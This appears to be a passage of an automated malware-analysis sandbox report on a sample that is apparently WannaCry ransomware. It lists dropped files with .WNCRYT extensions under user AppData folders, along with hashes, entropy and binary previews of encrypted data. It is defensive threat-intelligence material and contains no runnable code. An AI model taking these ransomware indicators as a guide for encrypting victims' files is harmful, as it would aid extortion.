                                                                                                                        MD5:B995AF9E5ADD91EC8E35C63F97138A68
                                                                                                                        SHA1:6B827E6CCC3E9DB26ED27256EA2B3AF3992C5BBE
                                                                                                                        SHA-256:D57146D539F734E419642DF436C0D3661B10E7737B6DBA79BE8DE39BE6C44B47
                                                                                                                        SHA-512:0ADEDB413573FFACC0FC0DD086EE7EA1E67BF0E44AE4C57A7B5D54FF54D5F17C3F03AFED4FA69E5D5CB4F7D220842758F359F9727C88FE6D008D17FD651C02EF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....UiDo.j2{:h...M..^K..|m.w..bM...Du.vc^.D....?..[....&'.?u.%"V...y.(4....AZ.{....D.H|.K.^..E.z...'./....S.hs..%...k.......E.L.....{o<..P...[_I.f.H6a...x.......t../.E...5....[.|j..G^...XJm.+.wo.@.........'Z.s.U..G8h..@D.GF.5t.H_....v...HxQ.p......`.......ED}.0Q..6_G....a..n.\...u\t.....W:.$D.O.H.Z....re.....t.7.P.]..Z....J.&m.]...-a(...C..LL._m-...l.x.}...\...&..D...+..jf.........;..G..r.a\.&.....k.7..%..w..~...6...*.....rO..B....V.2?*.....l.4L.?..R....")..R@*..... ..6.h.&..k.O..G.P...F.N.*..h..-.E.......t.8..>..G4a....c...$..2. .[.l.%r..x..Q.F.Y..O(../.R.E,...J.&.u.=h..7....>.Y%...t.O..m.v.,..f9.......d.......9'.r!^h.p.>.......".V.C.t.....U0.F.:p.....v.eg../\...{j(t..0.@w..>._.+...........)....a(.7.6.,p.]....tS....M:=..WF...}.Y....H.....uA76vSk...f.B.a#.?.8..K@.0.9..m.z.w.=..*..m.%.....+.U.............rTT.d$_x#T.^.h....O.nk3....0..V..qw.p.r...m..CUg..6S....|y......($.n..i^+....R...RXai...{.....5.{....</....[..u3..".D

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4664
                                                                                                                        Entropy (8bit):7.957044665305857
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:onjn0Nj2FbRF8tmU02KvG4HWeXy/cPteKgm9Xq2fsst+8tvetpf20c:3YdimUdKv1HWeXOqbHVtvW21
                                                                                                                        MD5:4FF785D17569403198AF0FFF5E673554
                                                                                                                        SHA1:44D65E1D78B3DBFDFFD4BE5890666EAD54BC31CE
                                                                                                                        SHA-256:68248182A5E3E959056CA80A222E3B6EB9432FC40EE5D1151B7679A0072D9591
                                                                                                                        SHA-512:F0C7F4A4A492DBBB73B606AFEBC68CBB0BED4374270F90827776E44BE64CB888A66C6BD983E8290C49B2F392D581E65BD34CE99D11DF4805DC2A0EE3CBF3884F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....-...+&.^.i.S.....^.*.^.%]x...!....0-M0...|...+..nS..^.*]....H'3r...~u6.\...AB....8.h....en...S....+vM Fql.'....Q2b$.....^..kE!........Pe.%....F....(|.7.."3.|.y.*..]..y...\..h.,.8.O%h^:_...gs.....,..L.v..A.o..\.0...5.h.sU....wyJV.8n]jn....v..............UI....)..Z).f....3....I.x&....r.E.f2......!....[j.g...X.....;Q......!z9. M.../s...`..R!...d...i.m..tI..#.N...r.o./.a.....O.Y.vt.P8.j.$../.:./..e...8....wh.8*7.;.....yF...Ne[..Zy../V.[...4.u.tI70\....7'....u.P./..#..PHhK!9../=.P53....8.A'e...o!Jt..e.o^..a...,..f..".....\.P.=`t.`z..(!Vk.X..Yx...*.b..O...K.8h...^o....6..D3V...0[hU$....l~W..+nK...8VO*.c...#..?.....v..v...Jf4.N.L.8m(.1vdH.3E.... .U......{..,.............G-..%$...{....n..B.3....%....^C$..~.sh...9KZ.\.........j....G...$?.0.f4a.y_.8.P@.iXf ..N........~d*...FF..-d.J..1=..Ga..M...S..X}..np9%....n...D..ju....I1...D..KxW^..)M.`R.Vv..W..Y).R.3.....P...9....Z.$).. ..A.mN..P9e.p...;.h......nv...M.wT)L. P..W...(r....5....c..B...

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{01F5EFBC-1E5F-4558-BABC-C70A173DE2F5}mt11414620.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):8840
                                                                                                                        Entropy (8bit):7.975339261950089
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:T3c/aR1baaytY4ZPkG2iUJY/ciuKrxsxovvpgNUSC7LZ78T/O:SajaahyHUJYkiTXvvyeZ8T/O
                                                                                                                        MD5:F83C42C6E448D841B34868CE02F93F48
                                                                                                                        SHA1:F13E230F1BCA0D9159271A223A0F40552F50F37B
                                                                                                                        SHA-256:8C90718FA8707C6CE3F1EDF6ED5B04A3CA78A5AE4CEF49944CFB4F8F70311F32
                                                                                                                        SHA-512:2C4BCC25445C2D04F212CB8668DCA365DF7ADBA9D7DC91691C0402954167428468B9AA8369F311B5E62A5EC189321504082C337A1662BD80C246FA15B299DB62
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....R..{.\...p.....}...R..."4.h.&.......g.H5&S8;.#m.a..."....w7...(.V....*>.n.......l#.!.V...1P..!.aTv..*..~.jhf$:=..}..!.,..X0....&DnD.l%.m....q. H)..]..e.-.S...M....!..GHyf"\..z..........@..7.{.Bp%....W4._........d2...G....w........f.>......&..........i!........4......?".>.&.4.R..........S.k.A.A...t;..,.c.R..,...m..i1c.....T.z7F.o..Y.W.......B..".....j<..U'...#7&.w..|T...6..Z.W.'Q;..-..w.........Z.....&..Bg......bANH@K.8...~)w..i$..;5........r......R....7...3$+.s..."^.......).P.M....b...6:....&5..oHK.V.|..'.D.......:.O..x../..M.);..}..@%.I.....l..v.T..9'.....`..S=.F....Gz.E..tx....K.t..P..d...k...P<*...M... "C...E..'~................MZ.......T)..-A...:.....;.Zb.F.7z..gX.....X....(.n..NE..Qa.y.N.r.\...'.j..[,..<d....^..=..pL.O...".-..yj.-:.&...}hh.wx. a.Go...k..<\h}.....)*...f6.zpI..........?2.t.............g<.].J0............:FD.._.`...-.+..(.A.6/...Y........{.|L.zi......{o..:k'G....i\O.t...+.......<.*t...ml^..e..\D.E9.....?!.:.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{0E4C83E9-AF47-4427-91EB-AED65562D02E}mt66963475.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7944
                                                                                                                        Entropy (8bit):7.976005195823438
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:NlBj9jeKmjffL/7kxEXwoks0VyDcQaSCQ6H:NlLeKmjz7FL0mjCQC
                                                                                                                        MD5:0709278CF7CF83E5522D5EC5EA82921B
                                                                                                                        SHA1:D0C0D50BF1D0449F9BC988D3AB6DF5D221457238
                                                                                                                        SHA-256:DDB723C3D4458DFA8F159626E711C0C2ECE7DBB196A98C61C60EABD616637C70
                                                                                                                        SHA-512:844931BA6A0B9BFB55FAF7A2D1C89A684297300E742EF4D67C2B953735B386BA236C647B272EFBD356E46DD285F448D85E7377CA74635A34EE9D75A91BD76695
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........B.)...........T.e....k...#.s.[~..sH}*_y.8.../....'....%gX..R.....CYt.M.*..%r..._.^Q...Qa.7O...Z.2P.*.45..'.g..L+W.q.j.{g`R.z...6..l.%L.x.j}b.....8fyZu.V....Y...2...."=t\....".].. R"c>..;.I..^i.q$..S.H9:..CSP|...C........e.,..+.iX..U.t.............v.w#.j.M.|..6...p...F.P>.v(].^.X.(..S.`{W./.iO3>Q...Lc....L?5G.)....J..j.8.Iw.g...6....A. ..W.4.^..#.8.K.........AM.BN..*hF.. M..w..'Uj*...U......8p.....Z.?*&q+..R....b.}A..a...N.s1pD&6.....z.p.Iv..'Zdx.."...3..3....I..;..K.k+rx.......!.d....).@+..:Nu..o....E..yy...M..N.<Y....u.*.&>f!...T..=i./..QG...5..+~!..YJ.K.Y./6..``o...w2..y#....y..#>....Z..=$7...a[. .~=....M.'...k~....u.&.t=_...$..`h..o.PCW......c+H.......(.b{.c..Z..h........H...e......xE}t...._.e...t.99.~{...P...z...X<..RG..Oq@..v9..-~V.......0....k.X'..z.......o;..1I=T....B.#.o......"#be.>^..r.....>l..x.N.c(.r.[.F..m..^Z6.......s...R..*.....]...Q..\^..`.O...&.uU2.$...5Cd..L..:v....../^.g..aG@...T.1T%.....J.....=H?..B.R.=.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{2C3729F5-6B1A-4F06-B77C-2AB41C959EB6}mt11829122.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):14408
                                                                                                                        Entropy (8bit):7.987611208474442
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:2ekHZeO6WaGCbCsv//LyJqdzJSqx4zCPyzjYfM:TUZeO6bvv3mJqdzJX4zwyvYfM
                                                                                                                        MD5:BA039C43BBE16F88F25D18C28BF6A958
                                                                                                                        SHA1:90C9D9363D6F3AAFC09AA28D39D7E18B0F8D8DBC
                                                                                                                        SHA-256:103B46A3BF7025A19346A04AAED1E344051D53E531B5885280AB179BBB10B976
                                                                                                                        SHA-512:81E161877D8771AE122566AB49C2CA42904622472BD5C39BEC9A58DD5BBC6EE27977A60B88FD5B4E7A5A0D54EDCD8C15592CE83A0947E4F64E4E320CF0D9C08F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....E....,.v{....3X.....*...ph`.U......d3..}Z5{........j[.[.>.....n@.s..J0U3..!XF...e*...wjo....*..%...V...'.c....D.C)..o..-.|.xr.r.;gm..z....>,....o.$.Bf...vP5`.....$^[..".R.M...I.~.a.g.c....&.....;..c`.P.x.$...+(.....N..3.F..H......q..~[...4..SH&....+7......~...}...+M...9y....k..~..b.3Q..y.I......W..m.&L.W..3.0..8...N.V...enQd.5.>$3.S$E......6.R.#.f..q..w^.;.?c!q.2bU".T...e.F..|......_......F.sshAj.T$T.....v|...=.1.R?rH.'ikg.&$...:%AO...0p.U^.......L.P.gS.." ....6/U.....&.]....>x*....s.ZQ>.7.(n.*4Y......8j...*...0..F...Za.).I.A.l/..z...'9u..G...Y..sm+....N....Fo....8..S...|dN"J..eZN..h..^jK.c.a.*~K.H.9&......,..W...y.oH%.....}.K..?.w..;..g.P1.v.q37.6>.0.R.k..........:.)8..)@q.h.b.K..}..|..-..%.x.%.....J(.s....Z.3_y..*.T^.*...`k.x.oA.=@....gh...<..d0...Tf>...iu......Hm...U...B..s.Yp;T....a.J.x.&'m...5E....FYj.j...2.....bB..g\.u..cz.P./....h)..!..g.......n...e.4..8.@r.Y...YM..V....1.O.L#....7..K...huG.Fh.."b;.sg]...$...u....uhO .>.....

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{8E108E7E-651B-4D15-9446-304CDAAB8AF9}mt10000137.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5240
                                                                                                                        Entropy (8bit):7.9605356363496576
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:ofGPDkzrxp6Yf51N1YV6vfv/SBJ0mz8RFj0hoxtppXpXXAto5UMRj:1PA3lf51N1TH+JQjRrtpXXAi5UMV
                                                                                                                        MD5:346FC2C071C1C9B8125ED6851D81364B
                                                                                                                        SHA1:68094113CDBAA1E8C0A6796FFA6B9039708DCC92
                                                                                                                        SHA-256:03212F1B66D0A41BA0CEC72D82327F75A6396B2D19A2B1F08138574F8EA107B2
                                                                                                                        SHA-512:E53CAD6F6B773C08CA9A426318D2A715003D4280A1AA7FD10FC8E95E5F8BD48F9BA8F5A9048A0515E3E35CBE5FCEAC2C25ED766A32F86036DE2E14D60D0C9B70
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....!z...O.-...d..agv....lU..E...-....Z.:^Hpte..x....N.sS.....w...<x.O.(...+.W..zL._.^z.-.......K./._[..V/eV..x.r...1.{;\Q.t..m.^...np.`]y.M..p.7..<\.Tk..r....;...c........O+..K{.P.....}...6p...{...O...V.;.a.6FDu..B....g`.]$.<O.@1c.8..]....E......_........YO..;.K...s.....F.Hj..V.#{...\...^..w\#....g.0.j_#$)w..a?H.W1CK.f.~.|........Q..T.".=-..C..@Q../..f.m..8Lq.t..!..._.-..*...h.]....q..o..A..T$M...Z...Q..Wz.J$+.J.2}...?6...8BJlj..Z.....J..a..}.`.P^...l..6Ehu\c...V....#K.?.d.Z.O......G..&Ou.d..!....<....K..YrG..0z.......I...,....[/r....u@,.......xY9.z.y.X../.pL.{......U..H.6...'...v..P.z......`i...<k|(...;c;+.:....N{.L.....V.....J..(..nW....~..j......oy..9}i.....e.8.UD.?z..].l...E..*.. >x..y.QN...z..:Z.S..Y.u.V0.$.d.P..E(l...AGgb.... (/t.!.Z30.@.....k..b.B%.. [...7..uj.....^..[^v..i9=.._:.!x......X[.~.C........9t.ip.....u....:....b....J,.....]..#./../.....Sq.....s.....f.-...d.!?.[,......P`R..mG.M....H.....2.Cn.~19..c.@9...JQ.......&.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{920EC2BC-61C3-40DF-86C2-1E647F210A9F}mt16400647.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7384
                                                                                                                        Entropy (8bit):7.9759092777325975
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:lszZE6vsic0gKxK6LLKvqImH5c7fffqd4mrJJqU3:UZZ13ZK6LOvBo56fff+rrqC
                                                                                                                        MD5:AF33CFF800828D80CCCAD59182F42975
                                                                                                                        SHA1:2B8A0A3F4F68AABF48602BFD0B788276B777B2A4
                                                                                                                        SHA-256:6BBF63A2B00F6F7E9784B7123BC153182BC50440C1CD6A1E971E28722B50EE56
                                                                                                                        SHA-512:088E1BCB072A91E691AA6B8C6A3B4FA7328D190323D7B7E294E3AD19F20D4705478BF00B57620CCDFE3EBE2707FEC551EB87E8EFDECF3C9C4E4AC482ED9E552F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........0a.o..(.s...]..M.."#.X.s..)..,..].2v...0.+......"..)..o..g.. ...... ..KQ64\.:(.2......[YdC..........qO...?.?5......>y..([m...-..;.5}ZN%.s2(....0...$...W.F#.R...=..:.t.......I.G.Y......?B.I..d..).(.E.e...E.x.3!.]..V.VQ.4k<.X..Cl..X.O.k.5^............v...J:......._{aC..6#a........i1Z5.e.Q../2.\%...GH....S>...._R....,...AA..@^...r&._..f..de....F....$....\j.........M....L.i...Oi.........g.....).d....^..$........->.%MDQ.Bu..d^.?^.b..o.\.+W......a...R..?d..r..>.>..O.*.c.3F.<...I..'.>".Z.%&U=.`Y&2.<xi..&...Q(19'...a.H.R._C..5...Kv:H..7.......+.......T..._.Fq.`.|......m......:.T.rW.5H;Pd..)1.......N.\~$M.TZ......^.....~./.........,w......i....L.a6.."}...g.;].0.....57.n.d4+/.5yk......lT..f.z%...bp...Q......n:.....pp7.b.M.....C..=.i.B.....................S.....h^.eA.r...&5.@!.))K.,.YT`.~o...f.P.ss/(....b.Y..G)...C..h.Y..^.. *...;...{....R./`w.........~(R....5zc.N!..uc.#.v?.O.M$..$E.e.Q}K...M.4...8..?..BH._.X"|...Y!'.p.............E.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{A26B3E48-AE08-4429-A0F3-46650603BDAD}mt67739505.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):9032
                                                                                                                        Entropy (8bit):7.9784365919187765
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:bHCUSUmemx7E2yUS501jaYVlOT4tatt36FWIPRsUN2c:bHCUDfml/2501jXgT4ott3q/sU1
                                                                                                                        MD5:7A4F02C92187FC3A6F72BBF3DDAE5540
                                                                                                                        SHA1:2D96837AB9999D7F32674BD76AD8E08F94D9617C
                                                                                                                        SHA-256:090D2992657B5EA571BED99A698F37D5A9B62007E1C473235C2247899AEAE614
                                                                                                                        SHA-512:7F078A7CD36ABC381EF2042BDF99E59E8C2AA29A06FC47E3EB653318077FF5C967FEAFE820F0ECCF6CCE1178F187ED87D6115C4F16BAC92FAB1FDA8F68FCD835
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......"....f..z.j...vas.<G..2.%....j..1{G../...D7d|....,.. .7..."....Q...>.X.......................a8......P......?.a7..z.o...o..g>L.....QT.....D..%$+.lZ M].W....R%.......<......b./W...e.2.A{..Y....8.n.. ..../@&.7....y...oN).........Q.2&.Q.-. ........*".......@...[..!6r.G....Xl.....R.0L...0..z.......T5.w.dc.=,X....b...t.y..j!H..X..K.6.j....O.......?.EMCb..t.5.X..%F.UqUK.c.r..1.L.V...........h..7....U/.d.. ;..}F+.7<..E..,.... ..V.E.m..+.T.~m.F....\W..#..Rc..1...b...ZYf.&...8t6b...2.......n..&.9c...b....Z:m..(...cl\..r...L\.5.e...f..... ......LA.S..X..e........rq...%&6....3.1.(.|.E..`.|L..Py..>....h.K2.lM.[..U.F. ...!YL....7r.M...=t&0x.=av..y..%.0...=.~.=MHl.h..AA[....h ..7.%.z.K....r.GP .....hr.g.T.{c|...6W.AkJ#".U.f.../}.e,g.?...t.2M_.V]..9E.eI.p...[.R#.qil.#...J....4...>....cG.q.m.1j ..?..%.7>.*<{...W..v...........x...O...M._..?.[.Dy..^wR.5RR...k..I&....,uMu.B...C...%b...VP.....'%...6L.R}.J..TN..........8.2.[..j&EJ.......o...?d.o=..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{C5106F55-DE69-4257-BD69-461E3E514242}mt16400656.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7032
                                                                                                                        Entropy (8bit):7.972929938324511
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:7lf//hlsdwYAdDy4ilACxXN5AsB0Lfw1mLEj0ck7gM76/:7lXj0t7aCxXssB0LY8y0cPMO/
                                                                                                                        MD5:DA4D4D3045184DADA59D4E3785895567
                                                                                                                        SHA1:6CC220B382384793F291C35CD49905441B8DE117
                                                                                                                        SHA-256:177550C861FCDBFB8EA39ADC1C61DAA0766E6BA35EA1E895D7ECEE8B56D14DF9
                                                                                                                        SHA-512:5A56A54D59CCB697BA906C115D4B9214BC44759BAAD5DB1F96BFA49F1C1FFEE1204C0F0E7A6F2D2BDF47727583B988B297332F64DB7FD0AF971E3381190EE085
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....u.{v.._...7a..d...3q..~..BM....H.*...5.|.9E.N.K.H.......i?y.hX......&c:.YNU.|sC>.MG.55...L...n..-.f._.X..........hO...;.7E..O....gs.{....iJ`.....2.3...%p...9...SO|.A.6..*G>.Ha.Y5$....Z.J>...dbw.@~.{...(.yJ...L...N.....a}..t..}.z6.. 9d..`...../...`.......T.......b.i......g...ae8`3T......C.Sl../..$....$.a0......C_.....#.J....T.x.h."..:..8B.D.Cqk3"u.\...u..h-r...F.%f...5....+v........<W\..e.1..|. ..{...V...g=K,...>..AB7O..s.;8.0.H....p:.xs=...gd.6..l....C..[...b..."..t....f.t2..Sm..F..6nzl.Y..{k.).....]l...h.h.4.....wGHO.C&..=..D..-)?.D.`t..H...ql'.t..Z..{....G...6y.nymT.I.zn......Y.X...0/z.}t..l....B.>4.#',u...3r.p.....z...............7...7.#...........]...xV..1..t..._..i....EV...Nb.ie.y>Q@+.N..g.Z..m..W.1....2..C..3R%z...o0Q.?U9....@...G.`..e......p..o..s.t-l...)...<....h2A.w..'...A.{....c).../mV....1.?'..f...a...u.....y..w.(._c..".5...@DP.@../......ep....D;....\w...I.Z..MS....3u.....k?.Q..N.@_L.\.bl.....5.......7..ar......$..7<h...6.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{EDFEDB66-CDB9-48D2-8CF5-3FCBFE2E5068}mt45299826.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):8984
                                                                                                                        Entropy (8bit):7.979122553538187
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:CEHF6TrONnOkR5qolgwtZKsCeoZh35FCx79zijEomyH:HHg3ONnrv7WGojkzijEVyH
                                                                                                                        MD5:227785D14346F42A46869ABB7DDAE322
                                                                                                                        SHA1:8E0BC2D2C5D9C109ACA6AB232A149D6E0B435DF2
                                                                                                                        SHA-256:964B4FB34D2951FF6D0E2746E47E6D652D5AF3367AD4C2C9DF9960DD16E446CB
                                                                                                                        SHA-512:CFDD5316C5593D101B2F6E54650D1C1EEB77480ACACAA990796628E787F24E2E048631E73AB9FEE69FFBEE8F62711BD6183BE70C3385E5E560CE08BE63B471EF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....L..K...~.w}F(i.......>.5.._.....x..g...7....<C......2..JO.EV!h.....wJ..OY...6%3/..Ua|x.S..V#)xm.-......{.&i.x.{..]V...i.".....Yi.bh...z.l.h...$..q>.....gk~.`>.\\...`.c." ...zq..K....!]..*.<...,...Z..sn..J.;..3-.@D.....'..>w{...\.1..h......QT;7......!......z.....0.o.Z.\..#q&.Q.b..#..[.#..kq.f....H..m.K.&.G.lDR............O...h.....~r8>Mo.H4*}Br....6..x..Moli.?.`.h..d..9.2..L.?R.{.lm.xze.....w?..xsK...U..86..i.)6....>.f.9..D..9.I...}.;e,...ntS#.g....|....*........<j..b|<b(._.7R..r..].x"E.@../4.."x%A.~."+.-W8L.zD..bb.L.v7Z.r.H..'a.Y.OH=...[.\aW|....F^..^.r..C.$W@.rt.....k....t.MQ..fO|.<K.4.H.b..l@dft.@.1.2Jq....UXPp).Bf&.M....WMV.e....%.......%.K.#oa.....x...>D.~.{.q....3)d..~..].....w...o[...r...J.g.[.z504..X..P./.xKo.?z.......U....4`..4..em.A.b.-&..V@.....j(.Zc.T4.$q.../.m....`T......I!.....MW}R.M....0....:z.b.."..X.#.[..t_S0.[{...1.?z...o..2S8..9..t.q...L..M....{3G.9.....K$...Q2....;....`......^(.....M.6.f.].*.x.E.(.../...@..\..Zo8j.O

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):24856
                                                                                                                        Entropy (8bit):7.993242484625533
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:IRN09WLtlAtO4e+3qK9GLjPGtJXmSK368EqIbS:a0C8tdX9GLjaESKLobS
                                                                                                                        MD5:0E917B0E030ADA9FAE98547657C299A0
                                                                                                                        SHA1:31EA9A6EB8880CD8E774C92321DAEABF7E0975AB
                                                                                                                        SHA-256:85976A9B6CE2E74A8F869F8253D58818D6565095AF2E2AA8DE604E5F6B2E0ED4
                                                                                                                        SHA-512:A418F2A4D181A26A7E001D6A53471D594366007824DDD5A6A5A1C4A2ABFD5422C288973179D5DC890551F58C2FD824622552FDFDF4A0EAE55BC689B3BD4F1F3A
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......U...6...).......O..............U..ou...D.Z.f5....%....%.^.z186.y.<#..3..{......K_p/.9|.cm..^..F.&...'..=.H..p"...z]..=..7HiS......Z@.)cSZ....7..k.w..."......3<k..t.u.7R.yY..}Y.}k,. .].D&...z.9.=}...g..|.4..Y./....R...[o.I..%8.....Of..+34.......`............+....;UP.n.T..{...yWm..or.A."k.z.q1.8..Rm."......c..z..mC.?...X|.-...+.H:x8t....q.u"at...K..{...)+...|t...TXpIB.:u.gl.......(..."..s..5.F....+B.]P.g.....R.....H:.=.\W#...H.........(..-I.z0.y......H%...*...*..*m._@.s!kU...)zTP...B.....c8..F....r....p:@.....NT...7.#9V<...`CpV.....i..L`...........A8....#..:..[......P....f.6..:.b..D.0..B.h... .BV.C.fF..7....;%&.E;..#.6K.L....>...B4he....pQ...\7.q..........$.....7.v.R.....m..IA"..Yw....&..wi.A.F,.[...)....7&.12....p....p...=.%[.2...`...l...}..B..; .$.a...s3...m.1..{9..$3)....g...t...5.........$)...?Lz2.v.\....u..6...pw..F..d...O.E.....zg.gQ.7.\...._H.N.....s.b.................0!.1U.@I...s+.>...9@3N....V......M..~.l.....]/..f...

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):24856
                                                                                                                        Entropy (8bit):7.991685891018288
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:+EWOOTD+6Ypb4+agC9YaIJsg11t3cgd234ecqjjgcKKxaQWqotNWvMV:+yKi6ab4EcYCIhc42oLqj9K5qotcvg
                                                                                                                        MD5:8CC1E76911BBD58E25DFB868B4564E74
                                                                                                                        SHA1:2B585408F1E2A5CAA1C480A55D27FB3BCEC8B7E0
                                                                                                                        SHA-256:10AFA600EAC05CAB566E1CBFC2D249A35732F4120A7132BD018043DF42192C8B
                                                                                                                        SHA-512:1E51367750EA8E1168E25A82A30E5ADCBBFEE75988ED18727AF8550D35922034FFA4147721D6B46BD452E6B80E8A0D23E9EAEAE85EF16E0B834543B9DC17F149
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....q...>...sH.5.....{...'.=Ro....:....C...X.D.(....`..*4.3] ....1.[....#.U..+6r..._T...Gf.;\.(...c...X......F....\.A|..Yy[Bju.G.y8...R{.S..-.....!..n.X..ei..W..G.$.}........mvF/h..K.g...I.g...9.Q&.~..G..F*...;..}...OK.O...u.....~-o.;.5.e`.....P.....M.?.....`......C.....y....a)....:..@.l.4gO....Z.......*..h....Jjz..EX......j..elR.o...x5x'.[..'r...e.....]T.z....:2...b/....G...24..A.............]G....60X...|......).......H.8.i..o+...2.[.P..\.....B.SI..z..U...../*.T..7..)D..>8p.:..J.......*\e.?5..t+............~.>.T...H6.0...Z.\.!.A5N..9.K........U.f....U..$.....*..5Om.}L..s.s.L...I.(.|6P.u..y.%.~[...]T9.'.r.|.Z.......8.o..../...D4f.h0...a..)...6M........B.._.%0.....N.9l..;.l..f.e. .:..4O....q.#.Et...u`.G.fK...brY.t.......Z\...ADV....P...m.......f._E....\..b..;O$.}.....%)...d..."..uR.....:...*4.!N..-F.6.jm.h.Y,.2. ..h...L...}(e..c.'i.ce..wQ'..s6..}.W....A.R.B...V..X...hW.qYq..../x.....<...%'...I...cm...Z.I. j...s]..054r.."6.....x\.hj..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):24856
                                                                                                                        Entropy (8bit):7.992457106854665
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:7kL75mWmRt2EeCigCOSF7sLfgNBHuiTUqx0JMXUbvtV4wm5px906bPXRTkzsdqGV:7kIWCHMFIMHuiT90CC9Upxa6blVf
                                                                                                                        MD5:78C5C691358DA69CCEE4E401BFECD812
                                                                                                                        SHA1:71C2338096B9E6EE3DDB3C0BEEEB271D5E4A93D2
                                                                                                                        SHA-256:23C70F359A884BC0A98D642B70E1181E62FB6B4B4AB4D8FF8AFDD29BED7904C9
                                                                                                                        SHA-512:2DABF6BF3D37656993BC6A28FDABC0C5A2EC516C92817A16C463EA6E7767BB70762FEF0ACA674B1EF95FA48E385EF064051066ABDC9434890135A193B3C9E05E
                                                                                                                        Malicious:true
